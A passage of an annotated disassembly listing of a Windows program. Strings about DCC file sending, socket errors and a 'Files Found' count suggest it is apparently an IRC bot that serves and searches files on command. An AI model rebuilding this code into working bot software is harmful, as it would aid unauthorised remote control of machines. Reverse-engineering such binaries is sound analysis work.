		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2880000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	sub_5FADE9
		nop
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		call	near ptr 2870B6Fh
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A08
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2870000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 286041Fh
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2860000h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2850405h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2850405h


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444ADC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5FADE9
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2850405h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
